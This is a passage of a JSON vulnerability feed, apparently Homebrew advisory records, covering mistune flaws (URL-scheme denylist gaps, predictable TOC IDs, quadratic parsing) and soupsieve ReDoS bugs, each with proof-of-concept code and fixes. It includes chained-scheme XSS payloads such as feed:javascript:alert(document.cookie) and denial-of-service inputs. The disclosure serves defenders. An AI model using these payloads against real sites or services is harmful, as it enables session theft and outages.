{(time.time() - t) * 1000:.0f}ms')\n\n# Output (Python 3.13, Linux, 2.5GHz CPU):\n#   ref defs *  1000  ( 7012b):    46ms\n#   ref defs *  2000 (14012b):   186ms\n#   ref defs *  5000 (35012b):  1121ms\n#   ref defs * 10000 (70012b):  4400ms\n```\n\nThe patched build (with the surrounding parser amortised to O(N)) keeps the time linear.\n\n## Suggested Fix\n\nReplace the per-def re-scan with a single forward pass that classifies each line into `ref_def | paragraph | other` once and only inserts into `ref_links` once per def. The dict already exists; the wasted work is in the surrounding scan loop, not in the dict operations.\n\nA regression test asserting that `md('[a]: u\\n' * 50_000 + '[click][a]')` completes in under 1 second would catch any regression.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"}],"references":[{"type":"WEB","url":"https://github.com/lepture/mistune/security/advisories/GHSA-ffq3-xpv3-j92q"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-59928"},{"type":"WEB","url":"https://github.com/lepture/mistune/commit/2b04d7ba341c16ac78fe82d3076bdd5c3de87c69"},{"type":"PACKAGE","url":"https://github.com/lepture/mistune"},{"type":"WEB","url":"https://github.com/lepture/mistune/releases/tag/v3.3.0"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/mistune/PYSEC-2026-2216.yaml"}]},{"schema_version":"1.7.3","id":"BREW-adr-viewer-CVE-2026-59929","published":"2026-08-13T16:35:11Z","modified":"2026-11-14T10:56:15Z","upstream":["GHSA-qfrw-5rxm-mhh2","CVE-2026-59929","PYSEC-2026-2217"],"affected":[{"package":{"ecosystem":"Homebrew","name":"adr-viewer","purl":"pkg:brew/adr-viewer"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"1.3.0"},{"fixed":"1.4.0_6"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"3.3.0","resource":"mistune","resource_purl":"pkg:pypi/mistune@3.4.0"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"mistune","subject_version":"3.4.0","key":"pkg:pypi/mistune@3.4.0","resource":"mistune"}]},"summary":"Mistune renderers/html.safe_url: HARMFUL_PROTOCOLS list misses legacy and chained schemes that historically chain to `javascript:` execution","details":"## Summary\n\n**Type:** URL-scheme allowlist gap. The `safe_url` filter only blocks the four schemes `javascript:`, `vbscript:`, `file:`, `data:`. Several other schemes are accepted into rendered `<a href=\"...\">` and `<img src=\"...\">` tags despite being known XSS vectors in legacy or chain-handling browsers. The same gap applies to direct links, reference links, and autolinks.\n**File:** `src/mistune/renderers/html.py`, line 11-23 (HARMFUL_PROTOCOLS list).\n**Root cause:** the HARMFUL_PROTOCOLS tuple is a hardcoded, opt-out denylist of four entries. Browsers historically supported (and some still partially support) several other schemes that either execute JavaScript directly (`livescript:`, `mocha:`) or wrap a `javascript:` payload (`feed:javascript:`, `view-source:javascript:`, `jar:javascript:`, `ms-its:javascript:`, `mk:@MSITStore:javascript:`). On user-agents that still recognise these schemes (older Firefox builds for `feed:`/`jar:`, all Internet Explorer / Edge Legacy for `ms-its:`/`mk:`/`res:`, niche chrome-style browsers, browser extensions that register custom protocol handlers), clicking a link rendered by mistune executes attacker-controlled JavaScript in the page's origin.\n\n## Affected Code\n\n**File:** `src/mistune/renderers/html.py`, lines 10-62.\n\n```python\nclass HTMLRenderer(BaseRenderer):\n    HARMFUL_PROTOCOLS: ClassVar[Tuple[str, ...]] = (\n        \"javascript:\",\n        \"vbscript:\",\n        \"file:\",\n        \"data:\",\n    )                                                         # <-- BUG: incomplete denylist\n    GOOD_DATA_PROTOCOLS: ClassVar[Tuple[str, ...]] = (\n        \"data:image/gif;\",\n        \"data:image/png;\",\n        \"data:image/jpeg;\",\n        \"data:image/webp;\",\n    )\n\n    def safe_url(self, url: str) -> str:\n        if self._allow_harmful_protocols is True:\n            return escape_text(url)\n        _url = url.lower()\n        if self._allow_harmful_protocols and _url.startswith(tuple(self._allow_harmful_protocols)):\n            return escape_text(url)\n        if _url.startswith(self.HARMFUL_PROTOCOLS) and not _url.startswith(self.GOOD_DATA_PROTOCOLS):\n            return \"#harmful-link\"\n        return escape_text(url)                               # <-- BUG: any scheme not in HARMFUL_PROTOCOLS passes through\n```\n\n**Why it's wrong:** an opt-out denylist for URL schemes is the wrong shape. The set of schemes a user-agent might honour is unbounded (registered handlers, browser extensions, OS-level protocol registrations, custom intent handlers on Android, etc.), but the set of schemes a markdown renderer needs to allow is small (`http://`, `https://`, `mailto:`, optionally `tel:`, `ftp:`, fragment-only `#anchor`, and a few image-only `data:` types). Switching to an opt-in allowlist with a `safe_extra_protocols` knob for callers who need others would close every variant of this bug class permanently. The current code accepts every chained-scheme XSS vector for as long as the project remembers to keep the denylist current.\n\n## Exploit Chain\n\n1. Application accepts attacker-supplied markdown and renders it with mistune. The default `escape=True` prevents raw HTML, but link href/image src filtering is the only XSS defense for `[click](...)` and `![alt](...)` syntax.\n2. Attacker writes `[click here](feed:javascript:alert(document.cookie))`. mistune's `safe_url` checks `feed:javascript:alert(document.cookie)` against `HARMFUL_PROTOCOLS = ('javascript:', 'vbscript:', 'file:', 'data:')` — none match. The href is escape_text'd (HTML-entity escape) and emitted as `<a href=\"feed:javascript:alert(document.cookie)\">click here</a>`.\n3. Victim using a Firefox build that still has the feed handler registered (extension, configuration, or LTS that retained the feed reader past the 64.0 removal — including some forks and ESR builds) clicks the link. Firefox's feed handler invokes the inner URL, which is `javascript:alert(...)`. JS executes in the page's origin. Victim's session cookie is exfiltrated.\n4. Same pattern for `livescript:alert(1)` (Netscape Communicator era, still recognised by some niche browsers / browser-emulator tools), `view-source:javascript:alert(1)` (Firefox, see CVE-2009-1938), `jar:javascript:alert(1)` (older Firefox), `ms-its:javascript:` (IE/Edge Legacy), `res:javascript:` (IE), `mk:@MSITStore:javascript:` (IE CHM viewer). Each user-agent that recognises one of these is exploitable; the user-agent population that recognises at least one is not negligible (corporate environments still running Edge Legacy compatibility mode, locked-down kiosk browsers, Android WebView in apps that register custom intent handlers, Linux distros with old Firefox ESR plus the `feed:` extension, etc.).\n\nThe same primitive applies to image src (`![](feed:javascript:...)` rendered as `<img src=\"feed:...\">`) — though most browsers don't fetch javascript: from img src, the same chained handler quirk applies on a few user-agents — and to reference links and autolinks (verified in the PoC below; the rendered HTML is identical regardless of which markdown link syntax is used).\n\n## Security Impact\n\n**Severity:** sec-moderate. Conditional XSS depending on user-agent. Modern Chrome / Edge Chromium / Safari ignore most of these schemes, but Firefox forks, Edge Legacy, in-app WebViews, browser extensions registering custom handlers, and corporate browser deployments are exposed. Defence-in-depth is the framing: a markdown renderer should not need to track which browsers still honour which legacy chained-scheme.\n**Attacker capability:** plant a link in any place the application renders user-supplied markdown. When clicked by a user-agent that honours the legacy scheme, the attacker's JavaScript runs in the page's origin (steal cookies, perform actions as the victim, etc.).\n**Preconditions:** application uses mistune to render attacker-influenced markdown. Default config. Victim user-agent is one of the affected populations. No specific mistune option is required.\n**Differential:** PoC-verified against mistune@3.2.1, default config. The following inputs all PASS the filter and reach the rendered HTML unchanged:\n\n```python\nimport mistune\nmd = mistune.create_markdown()\nfor url in [\n    'feed:javascript:alert(1)',                  # Firefox feed handler chain\n    'livescript:alert(1)',                       # Netscape, niche browsers\n    'mocha:alert(1)',                            # Netscape, niche browsers\n    'view-source:javascript:alert(1)',           # Firefox view-source chain (CVE-2009-1938 class)\n    'jar:javascript:alert(1)',                   # Firefox jar: handler chain\n    'ms-its:javascript:alert(1)',                # IE/Edge Legacy InfoTech Storage handler\n    'mk:@MSITStore:javascript:alert(1)',         # IE CHM viewer chain\n    'res:javascript:',                           # IE resource: handler\n]:\n    print(md(f'[click]({url})').strip())\n\n# Output (each one passes the filter):\n#   <p><a href=\"feed:javascript:alert(1)\">click</a></p>\n#   <p><a href=\"livescript:alert(1)\">click</a></p>\n#   <p><a href=\"mocha:alert(1)\">click</a></p>\n#   <p><a href=\"view-source:javascript:alert(1)\">click</a></p>\n#   <p><a href=\"jar:javascript:alert(1)\">click</a></p>\n#   <p><a href=\"ms-its:javascript:alert(1)\">click</a></p>\n#   <p><a href=\"mk:@MSITStore:javascript:\">click</a></p>\n#   <p><a href=\"res:javascript:\">click</a></p>\n```\n\nFor comparison, the four schemes already in the denylist are correctly blocked: `javascript:`, `vbscript:`, `file:`, `data:text/html` all return `<a href=\"#harmful-link\">`.\n\nThe same gap applies to reference links (`[click][ref]\\n\\n[ref]: feed:javascript:alert(1)` → `<a href=\"feed:javascript:alert(1)\">`) and to autolinks (`<feed:javascript:alert(1)>` → `<a href=\"feed:javascript:alert(1)\">`).\n\n## Suggested Fix\n\nSwitch from denylist to allowlist. The set of schemes a markdown renderer needs to allow is small and well-known; the set of schemes that might trigger handler chains is unbounded.\n\n```diff\n--- a/src/mistune/renderers/html.py\n+++ b/src/mistune/renderers/html.py\n@@ -7,21 +7,28 @@ class HTMLRenderer(BaseRenderer):\n\n     _escape: bool\n     NAME: ClassVar[Literal[\"html\"]] = \"html\"\n-    HARMFUL_PROTOCOLS: ClassVar[Tuple[str, ...]] = (\n-        \"javascript:\",\n-        \"vbscript:\",\n-        \"file:\",\n-        \"data:\",\n-    )\n+    SAFE_PROTOCOLS: ClassVar[Tuple[str, ...]] = (\n+        \"http:\",\n+        \"https:\",\n+        \"mailto:\",\n+        \"tel:\",\n+        \"ftp:\",\n+        \"ftps:\",\n+        \"irc:\",\n+        \"ircs:\",\n+    )\n     GOOD_DATA_PROTOCOLS: ClassVar[Tuple[str, ...]] = (\n         \"data:image/gif;\",\n         \"data:image/png;\",\n         \"data:image/jpeg;\",\n         \"data:image/webp;\",\n     )\n\n@@ -49,15 +56,21 @@ class HTMLRenderer(BaseRenderer):\n     def safe_url(self, url: str) -> str:\n-        if self._allow_harmful_protocols is True:\n-            return escape_text(url)\n-\n-        _url = url.lower()\n-        if self._allow_harmful_protocols and _url.startswith(tuple(self._allow_harmful_protocols)):\n-            return escape_text(url)\n-\n-        if _url.startswith(self.HARMFUL_PROTOCOLS) and not _url.startswith(self.GOOD_DATA_PROTOCOLS):\n-            return \"#harmful-link\"\n-        return escape_text(url)\n+        # Allow-list: only schemes in SAFE_PROTOCOLS, image-only data: URLs in\n+        # GOOD_DATA_PROTOCOLS, scheme-relative URLs (//host/path), absolute\n+        # paths (/path), and anchor-only references (#fragment) reach the\n+        # rendered output. Everything else is replaced with '#harmful-link'.\n+        if self._allow_harmful_protocols is True:\n+            return escape_text(url)\n+        _url = url.lower().lstrip()\n+        if (\n+            _url.startswith(self.SAFE_PROTOCOLS)\n+            or _url.startswith(self.GOOD_DATA_PROTOCOLS)\n+            or _url.startswith((\"/\", \"#\", \"?\"))\n+            or \":\" not in _url.split(\"/\", 1)[0]   # bare relative path\n+        ):\n+            return escape_text(url)\n+        if self._allow_harmful_protocols and _url.startswith(tuple(self._allow_harmful_protocols)):\n+            return escape_text(url)\n+        return \"#harmful-link\"\n```\n\nThe `allow_harmful_protocols` option is preserved, so callers who genuinely want to allow a custom scheme can still opt in. The `lower().lstrip()` also closes the leading-whitespace evasion sub-case (e.g., ` javascript:` is already blocked by the current code via `lower().startswith`, but the same pattern needs to apply on the new allowlist branch). Add regression tests for each scheme listed in the PoC above asserting they resolve to `#harmful-link`.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N"}],"references":[{"type":"WEB","url":"https://github.com/lepture/mistune/security/advisories/GHSA-qfrw-5rxm-mhh2"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-59929"},{"type":"WEB","url":"https://github.com/lepture/mistune/commit/c7101fcbb6e8790e8e39157c5ca2238fc6dd6cbc"},{"type":"PACKAGE","url":"https://github.com/lepture/mistune"},{"type":"WEB","url":"https://github.com/lepture/mistune/releases/tag/v3.3.0"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/mistune/PYSEC-2026-2217.yaml"}]},{"schema_version":"1.7.3","id":"BREW-adr-viewer-CVE-2026-59930","published":"2026-08-13T16:35:11Z","modified":"2026-11-14T10:56:15Z","upstream":["GHSA-2hm2-hc3v-44h9","CVE-2026-59930","PYSEC-2026-2218"],"affected":[{"package":{"ecosystem":"Homebrew","name":"adr-viewer","purl":"pkg:brew/adr-viewer"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"1.3.0"},{"fixed":"1.4.0_6"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"3.3.0","resource":"mistune","resource_purl":"pkg:pypi/mistune@3.4.0"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"mistune","subject_version":"3.4.0","key":"pkg:pypi/mistune@3.4.0","resource":"mistune"}]},"summary":"Mistune toc / TableOfContents directive: heading IDs use predictable `toc_N` numbering with no slugification, allowing collision with attacker-controlled `id=\"toc_N\"` content","details":"## Summary\n\n**Type:** Predictable identifier generation. The `toc` plugin and `TableOfContents` directive both default to generating heading IDs of the form `toc_1`, `toc_2`, `toc_3`, ... with no input-derived component. An attacker who can place a heading anywhere in the document can predict which `toc_N` ID it will receive, and can inject HTML elsewhere (in a non-heading context) that uses the same `id=\"toc_N\"` to either (a) shadow the legitimate heading anchor, breaking same-page navigation, or (b) collide with CSS or JavaScript that targets `#toc_N` selectors, redirecting click handlers and styling to attacker-chosen content.\n**File:** `src/mistune/toc.py` line 36-37 (`heading_id = lambda token, index: \"toc_\" + str(index + 1)`); `src/mistune/directives/toc.py` line 33 (same default).\n**Root cause:** the default `heading_id` callback ignores the heading's text content and uses only the headings's order in the document. Two documents rendered together (or one document with attacker-influenced headings spliced into trusted content) produce overlapping `toc_N` IDs. Because `id` attribute uniqueness is required by HTML, browsers behaviour on duplicate IDs is undefined; `document.getElementById('toc_1')` returns the first match, `getElementsByTagName + querySelector` semantics differ across paths, and CSS rules targeting `#toc_1` apply to whichever element matches first in tree order.\n\n## Affected Code\n\n**File:** `src/mistune/toc.py`, lines 33-39.\n\n```python\ndef add_toc_hook(md, min_level=1, max_level=3, heading_id=None):\n    if heading_id is None:\n        def heading_id(token, index):\n            return \"toc_\" + str(index + 1)               # <-- BUG: index-only ID, no slug derived from heading text\n```\n\n**File:** `src/mistune/directives/toc.py`, lines 32-33.\n\n```python\nclass TableOfContents(DirectivePlugin):\n    def __init__(self, min_level=1, max_level=3):\n        # ...\n\n    def generate_heading_id(self, token, index):\n        return \"toc_\" + str(index + 1)                   # <-- BUG: same predictable scheme\n```\n\n**Why it's wrong:** the standard markdown-engine convention (used by GitHub-flavoured Markdown, Sphinx, MkDocs, pandoc, every modern markdown renderer in production) is to slugify the heading TEXT for the ID — `<h1 id=\"introduction\">Introduction</h1>` — with a numeric suffix appended only when slug collisions occur. mistune's default punts the slugification entirely and produces purely positional IDs that an attacker can predict in O(1).\n\nThe downstream impacts:\n- Same-page links with `[click](#toc_1)` go to whichever element with `id=\"toc_1\"` appears first in tree order. If the attacker can land any HTML element with `id=\"toc_1\"` before the real heading (via inline_html with `escape=False`, via the include-directive HTML branch, via attacker-supplied content earlier in the document), navigation is hijacked.\n- CSS rules targeting `#toc_1` apply to the wrong element.\n- JavaScript bound to `document.getElementById('toc_1')` operates on the wrong element.\n- The TOC's own `<a href=\"#toc_1\">` link in the rendered TOC list points to whichever element wins the duplicate-ID race.\n\n## Exploit Chain\n\n1. Application uses mistune with `add_toc_hook(md)` or `TableOfContents` directive enabled (the documented setup for sites with TOC support).\n2. Application renders an attacker-supplied document, or splices attacker content into a trusted document. With `escape=False` (or via the include-directive `.html` branch covered by my prior advisory), the attacker can place `<a id=\"toc_1\">...</a>` anywhere in the document.\n3. mistune assigns `id=\"toc_1\"` to the first heading. Now there are two elements with `id=\"toc_1\"` in the page.\n4. The rendered TOC contains `<a href=\"#toc_1\">First heading</a>`. Clicking it navigates to whichever element with `id=\"toc_1\"` appears first in tree order. If the attacker placed their `<a id=\"toc_1\">` BEFORE the heading, navigation is hijacked.\n5. Same-page CSS / JS / aria-described references to `#toc_1` similarly redirect.\n\n## Security Impact\n\n**Severity:** sec-low. Not a direct XSS or RCE; the issue is identifier confusion that enables UI-redirection / navigation-hijack attacks. The realistic attacker capability is \"make an internal anchor link go to attacker content instead of the real heading\", or \"make a CSS selector apply to attacker content\", or \"break aria/screen-reader associations\".\n**Attacker capability:** with the ability to plant any HTML element with `id=\"toc_N\"` in the document, hijack `<a href=\"#toc_N\">` navigation and any CSS/JS targeting that ID. With `escape=False`, this is straightforward. With `escape=True`, the attacker needs another vector to land a raw `id` attribute (one of the include-directive branches, a sibling tooling pipeline that lets HTML through, etc.).\n**Preconditions:** application uses TOC + the default `heading_id` callback. If the application provides its own `heading_id` (e.g., one based on slugified heading text, with collision suffixes), this finding does not apply.\n**Differential:** PoC-verified against mistune@3.2.1:\n\n```python\nimport mistune\nfrom mistune.directives import RSTDirective, TableOfContents\nmd = mistune.create_markdown(plugins=[RSTDirective([TableOfContents()])])\n\nprint(md('''\n.. toc::\n\n# Heading 1\n\n# Heading 2\n'''))\n\n# Output (note: id=\"toc_1\" / id=\"toc_2\", purely positional):\n# <details class=\"toc\" open>\n#   <summary>Table of Contents</summary>\n#   <ul>\n#     <li><a href=\"#toc_1\">Heading 1</a></li>\n#     <li><a href=\"#toc_2\">Heading 2</a></li>\n#   </ul>\n# </details>\n# <h1 id=\"toc_1\">Heading 1</h1>\n# <h1 id=\"toc_2\">Heading 2</h1>\n```\n\nThe patched build (with the suggested fix below) produces text-derived slugs like `id=\"heading-1\"` and `id=\"heading-2\"`, which are tied to content rather than position.\n\n## Suggested Fix\n\nDefault to slugifying the heading text:\n\n```diff\n--- a/src/mistune/toc.py\n+++ b/src/mistune/toc.py\n@@ -33,9 +33,18 @@ def add_toc_hook(md, min_level=1, max_level=3, heading_id=None):\n     if heading_id is None:\n+        import re\n+        _slug_re = re.compile(r\"[^a-z0-9]+\")\n+        seen = {}\n         def heading_id(token, index):\n-            return \"toc_\" + str(index + 1)\n+            text = striptags(md.renderer(md.inline(token[\"text\"], {}), BlockState()))\n+            slug = _slug_re.sub(\"-\", text.lower()).strip(\"-\") or \"section\"\n+            n = seen.get(slug, 0)\n+            seen[slug] = n + 1\n+            return slug if n == 0 else f\"{slug}-{n}\"\n```\n\nSame change applies to `src/mistune/directives/toc.py:33`. Existing applications that have hardcoded `#toc_N` anchors will break; document the migration in the changelog and consider providing an opt-out flag for the legacy behaviour. Add a regression test that asserts heading IDs are slug-derived, not position-derived, and that collisions get a `-N` suffix.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N"}],"references":[{"type":"WEB","url":"https://github.com/lepture/mistune/security/advisories/GHSA-2hm2-hc3v-44h9"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-59930"},{"type":"WEB","url":"https://github.com/lepture/mistune/commit/c4093c4742ed0d10d9332fb8edb455869b7b581b"},{"type":"PACKAGE","url":"https://github.com/lepture/mistune"},{"type":"WEB","url":"https://github.com/lepture/mistune/releases/tag/v3.3.0"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/mistune/PYSEC-2026-2218.yaml"}]},{"schema_version":"1.7.3","id":"BREW-adr-viewer-CVE-2026-85999","published":"2026-09-18T14:56:30Z","modified":"2026-11-14T10:56:19Z","upstream":["GHSA-j934-xhv5-fg8f","CVE-2026-85999","PYSEC-2026-4171"],"affected":[{"package":{"ecosystem":"Homebrew","name":"adr-viewer","purl":"pkg:brew/adr-viewer"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"1.3.0"},{"fixed":"1.4.0_7"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.9.0","resource":"soupsieve","resource_purl":"pkg:pypi/soupsieve@4.1"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"soupsieve","subject_version":"4.1","key":"pkg:pypi/soupsieve@4.1","resource":"soupsieve"}]},"summary":"Soup Sieve: Polynomial-time ReDoS (O(n²)) in the whitespace/comment trimming regex `RE_WS_END` (triggers on VALID selectors)","details":"## Summary\n\nBefore tokenizing, `selector_iter` trims leading/trailing whitespace and comments by running two regexes over the whole raw selector with `.search()`. The trailing one, `RE_WS_END = re.compile(r'{WSC}*$')`, is anchored only at the end (`$`), not the start. Because `.search()` retries the pattern at every offset, a long run of whitespace or CSS comments that is not sitting exactly at the end of the string makes each retry greedily consume the run and then fail `$`, producing O(n²) time. This triggers on perfectly valid selectors — e.g. a descendant combinator with a long whitespace gap, `a` + `\" \"*n` + `b` — so no malformed input is required. A single valid ~20 KB selector stalls the interpreter for ~10 s of CPU.\n\n## Trust model (Q0)\n\nThe selector string is the input, reaching this code via `soupsieve.compile()`, the `soupsieve.select/iselect/match/filter` helpers, and BeautifulSoup's `soup.select(selector)` / `soup.select_one(selector)`. Exploitable wherever an application passes a user-controlled CSS selector to BeautifulSoup/soupsieve. Applications using only hard-coded selectors are unaffected.\n\n## Root cause (exact anchors) — `src/soupsieve/css_parser.py`\n\n```python\n# line 185-186\nRE_WS_BEGIN = re.compile(fr'^{WSC}*')   # anchored at start -> .search() only tries pos 0 -> linear (safe)\nRE_WS_END   = re.compile(fr'{WSC}*$')   # NOT anchored at start -> .search() tries every offset\n\n# selector_iter, lines ~1322-1326\nm = RE_WS_BEGIN.search(pattern)\nindex = m.end(0) if m else 0\nm = RE_WS_END.search(pattern)                     # <-- O(n^2) here\nend = (m.start(0) - 1) if m else (len(pattern) - 1)\n```\n\n`WSC = (?:{WS}|{COMMENTS})`. For `RE_WS_END = (?:WS|COMMENTS)*$`, `.search()` walks start offsets 0..n. Whenever the offset lands inside a long whitespace/comment run, `(?:WS|COMMENTS)*` greedily consumes to the run's end, then `$` fails (a non-whitespace char follows), the engine backtracks the whole run, the offset advances by one, and the work repeats — O(n) offsets × O(n) per attempt = O(n²). `RE_WS_BEGIN` avoids this because `^` pins it to a single start offset.\n\nThe intent (trim trailing whitespace/comments) can be met with an anchored/loopless approach; the current unanchored `.search()` of a `*$` pattern is the defect.\n\n## Reproduction environment (discipline #12 — published artifact)\n\n- git HEAD `751c57b` (2.9, `PYTHONPATH=src`): `cd src && python3 ../poc/poc_redos_ws_trim.py`.\n- Published PyPI `soupsieve 2.8.4` (fresh `uv pip install soupsieve beautifulsoup4`): `cd poc && ../.venv-published/bin/python poc_redos_ws_trim.py` → same O(n²) (evidence: `poc/evidence_redos_ws_trim_PUBLISHED_2.8.4.log`).\n- Python 3.11.15 and 3.14.6 both reproduce.\n\n## PoC (`poc/poc_redos_ws_trim.py`)\n\n```python\nimport sys, time\nsys.path.insert(0, \".\")\nimport soupsieve as sv\n\ndef ct(sel):\n    t0 = time.perf_counter()\n    try:\n        sv.compile(sel); st = \"ok\"\n    except Exception as e:\n        st = type(e).__name__\n    return time.perf_counter() - t0, st\n\nprint(f\"soupsieve {sv.__version__}\\n\")\n\nprint(\"VALID selector 'a' + ' '*n + 'b'  (descendant combinator, lots of whitespace):\")\nfor n in (2000, 4000, 8000, 16000):\n    dt, st = ct(\"a\" + \" \" * n + \"b\")\n    print(f\"  n={n:<6} len={n+2:<7} {dt*1000:9.1f} ms  [{st}]\")\n\npayload = \"a\" + \" \" * 20000 + \"b\"\ndt, st = ct(payload)\nprint(f\"\\n[+] Single call: compile('a' + ' '*20000 + 'b')  (len={len(payload)})\")\nprint(f\"[+] wall time = {dt:.2f} s   [{st}]\")\n```\n\nIsolated confirmation that the cost is in `RE_WS_END.search` specifically (`poc/isolate_ws_trim.py`): `RE_WS_END` on `\"div\"+\" \"*n+\">\"` is O(n²) (2000→100 ms, 4000→448 ms, 8000→1622 ms, 16000→6719 ms), while the start-anchored `RE_WS_BEGIN` on `\" \"*n+\"x\"` stays linear (32000→1.5 ms). Profiling `compile` shows the entire wall time in 2 `re.Pattern.search` calls, not `.match`.\n\n## Evidence — HEAD 2.9 (verbatim `poc/evidence_redos_ws_trim.log`)\n\n```\nsoupsieve 2.9\n\nVALID selector 'a' + ' '*n + 'b'  (descendant combinator, lots of whitespace):\n  n=2000   len=2002        112.3 ms  [ok]\n  n=4000   len=4002        411.5 ms  [ok]\n  n=8000   len=8002       1602.9 ms  [ok]\n  n=16000  len=16002      6464.1 ms  [ok]\n\nVALID-looking 'a' + '/*x*/'*n + 'b'  (CSS comment run):\n  n=1000   len=5002         48.9 ms  [SelectorSyntaxError]\n  n=2000   len=10002       194.8 ms  [SelectorSyntaxError]\n  n=4000   len=20002       780.2 ms  [SelectorSyntaxError]\n  n=8000   len=40002      3145.3 ms  [SelectorSyntaxError]\n\n[+] Single call: compile('a' + ' '*20000 + 'b')  (len=20002)\n[+] wall time = 10.23 s   [ok]\n```\n\n## Evidence — published 2.8.4 (verbatim `poc/evidence_redos_ws_trim_PUBLISHED_2.8.4.log`)\n\n```\nsoupsieve 2.8.4\n\nVALID selector 'a' + ' '*n + 'b':\n  n=2000   len=2002        102.7 ms  [ok]\n  n=4000   len=4002        404.3 ms  [ok]\n  n=8000   len=8002       1618.2 ms  [ok]\n  n=16000  len=16002      6457.9 ms  [ok]\n[+] Single call: compile('a' + ' '*20000 + 'b')  wall time = 10.11 s   [ok]\n```\n\n## Impact — calibrated\n\n- Confirmed: quadratic CPU per `compile()`/`select()` call on an attacker-controlled selector, triggered by a long internal whitespace or CSS-comment run. ~8 KB → ~1.6 s; ~20 KB → ~10 s; scaling ~×4 per input doubling. Notably fires on WELL-FORMED selectors, so it does not depend on a parser error path.\n- Realistic exposure: services that accept user-supplied CSS selectors and feed them to BeautifulSoup/soupsieve.\n- NOT claimed: exponential blowup, memory corruption, or code execution. Availability (DoS) only, and only where selectors are attacker-influenced.\n\n## Distinction from the IDENTIFIER/VALUE ReDoS\n\nThis is a separate root cause and a separate fix: the cost here is entirely in the `RE_WS_END = {WSC}*$` trim step run with `.search()` before tokenizing (measured in `re.Pattern.search`), whereas the IDENTIFIER/VALUE issue is adjacent-quantifier backtracking during token `.match()`. They can be fixed independently.\n\n## Remediation\n\n- Anchor or de-loop the trailing-trim step: instead of `.search()` of `{WSC}*$`, scan trailing whitespace/comments from the end directly (e.g. reverse scan, or `re.compile(r'^{WSC}*').match` on a reversed-equivalent), so no per-offset retry occurs.\n- Alternatively strip whitespace/comments in a single forward tokenizing pass rather than with a pre-pass `*$` search.\n- Defense-in-depth: cap selector length before compiling.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L"}],"references":[{"type":"WEB","url":"https://github.com/facelessuser/soupsieve/security/advisories/GHSA-j934-xhv5-fg8f"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-85999"},{"type":"WEB","url":"https://github.com/facelessuser/soupsieve/commit/cf198fcddc9230f06ed39f974eba0ce076b85cda"},{"type":"PACKAGE","url":"https://github.com/facelessuser/soupsieve"},{"type":"WEB","url":"https://github.com/facelessuser/soupsieve/releases/tag/2.9"}]},{"schema_version":"1.7.3","id":"BREW-adr-viewer-CVE-2026-86000","published":"2026-09-18T14:56:30Z","modified":"2026-11-14T10:56:19Z","upstream":["GHSA-gjv8-xp57-g29c","CVE-2026-86000","PYSEC-2026-4170"],"affected":[{"package":{"ecosystem":"Homebrew","name":"adr-viewer","purl":"pkg:brew/adr-viewer"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"1.3.0"},{"fixed":"1.4.0_7"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.9.0","resource":"soupsieve","resource_purl":"pkg:pypi/soupsieve@4.1"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"soupsieve","subject_version":"4.1","key":"pkg:pypi/soupsieve@4.1","resource":"soupsieve"}]},"summary":"Soup Sieve: Polynomial-time ReDoS (O(n²)) in the `IDENTIFIER` / `VALUE` selector sub-patterns","details":"## Summary\n\nsoupsieve compiles CSS selector strings with a set of hand-written regular expressions. The shared `IDENTIFIER` sub-pattern (also embedded in `VALUE`, and therefore in attribute selectors) places two adjacent quantified groups over overlapping character classes: `(?:[classA]|ESC)+(?:[classB]|ESC)*`, where both classes match ordinary identifier characters such as `a`. When a selector contains a long identifier/value run that must ultimately fail to match (e.g. an attribute value with no closing `]`, or an identifier followed by an invalid character), the regex engine backtracks across all O(n) ways to split the run between the `+` group and the `*` group, giving O(n²) parse time. A single attacker-controlled selector of a few kilobytes stalls the interpreter for many seconds of CPU; tens of kilobytes reach minutes.\n\n## Trust model (Q0)\n\nThe selector string is the input. It reaches this code via `soupsieve.compile()`, `soupsieve.select/iselect/match/filter`, and — most commonly — BeautifulSoup's `soup.select(selector)` / `soup.select_one(selector)`, which delegate to soupsieve. This is exploitable in any application that passes a user-controlled CSS selector to BeautifulSoup/soupsieve (scrapers that accept selectors, no-code extraction tools, admin/query UIs). Applications that only use hard-coded selectors are not affected.\n\n## Root cause (exact anchors) — `src/soupsieve/css_parser.py`\n\n```python\n# lines 122-126\nIDENTIFIER = fr'''\n(?:(?:-?(?:[^\\x00-\\x2f\\x30-\\x40\\x5B-\\x5E\\x60\\x7B-\\x9f]|{CSS_ESCAPES})+|--)\n(?:[^\\x00-\\x2c\\x2e\\x2f\\x3A-\\x40\\x5B-\\x5E\\x60\\x7B-\\x9f]|{CSS_ESCAPES})*)\n'''\n# line 129 — VALUE 